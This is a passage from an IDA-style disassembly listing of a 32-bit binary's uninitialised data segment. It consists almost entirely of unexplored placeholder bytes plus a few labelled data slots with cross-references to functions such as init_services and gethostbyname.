		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_8079CD8	dd ?			; DATA XREF: sub_804C6FC+20Aw
					; sub_804C6FC+2D3o
dword_8079CDC	dd ?			; DATA XREF: sub_804C6FC+200w
dword_8079CE0	dd ?			; DATA XREF: sub_804C6FC+149w
dword_8079CE4	dd ?			; DATA XREF: sub_804C6FC+151w
					; sub_804C6FC+244r ...
dword_8079CE8	dd ?			; DATA XREF: sub_804C6FC+2C9w
dword_8079CEC	dd ?			; DATA XREF: sub_804C6FC+50w
					; sub_804C6FC+D3w ...
dword_8079CF0	dd ?			; DATA XREF: sub_804C6FC+5Aw
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_8079D78	db ? ; unexplored	; DATA XREF: sub_804C6FC+68o
					; sub_804C6FC+DCo ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_8079DB8	dd ?			; DATA XREF: sub_804C9E4+14Bw
					; sub_804C9E4+1A0o
dword_8079DBC	dd ?			; DATA XREF: sub_804C9E4+151w
dword_8079DC0	dd ?			; DATA XREF: sub_804C9E4+131w
dword_8079DC4	dd ?			; DATA XREF: sub_804C9E4+127w
dword_8079DC8	dd ?			; DATA XREF: sub_804C9E4+FFw
					; sub_804C9E4+11Er
dword_8079DCC	dd ?			; DATA XREF: sub_804C9E4+76o
					; sub_804C9E4+A9o ...
dword_8079DD0	dd ?			; DATA XREF: sub_804C9E4+71o
					; sub_804C9E4+A4o ...
dword_8079DD4	dd ?			; DATA XREF: init_services+5Cw
					; init_services+1F0w ...
dword_8079DD8	dd ?			; DATA XREF: init_services+66w
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_8079DE4	dd ?			; DATA XREF: sub_804B800+11Do
					; sub_804B800+127w ...
dword_8079DE8	dd ?			; DATA XREF: .text:0804BEFBr
					; .text:0804BF2Dr ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_8079E6C	db ? ; unexplored	; DATA XREF: sub_804B800+574o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_8079E74	dd ?			; DATA XREF: sub_804B800+1Fw
					; sub_804B800+E3w ...
dword_8079E78	dd ?			; DATA XREF: sub_804B800+113w
					; gethostbyname+59w ...
dword_8079E7C	dd ?			; DATA XREF: sub_804B800+4DAo
					; sub_804B800+4E8w ...
dword_8079E80	dd ?			; DATA XREF: sub_804B800+4C5r
					; sub_804B800+4D4w ...
dword_8079E84	dd ?			; DATA XREF: sub_804B800+131w
					; gethostbyname+95w ...
dword_8079E88	dd ?			; DATA XREF: sub_804B800+FFo
					; sub_804B800+109w ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_8079F10	db ? ; unexplored	; DATA XREF: sub_804B800+1F6o
					; _gethtent+113o ...
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_8079F14	db ? ; unexplored	; DATA XREF: sub_804B800+50o
					; _gethtent+47o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
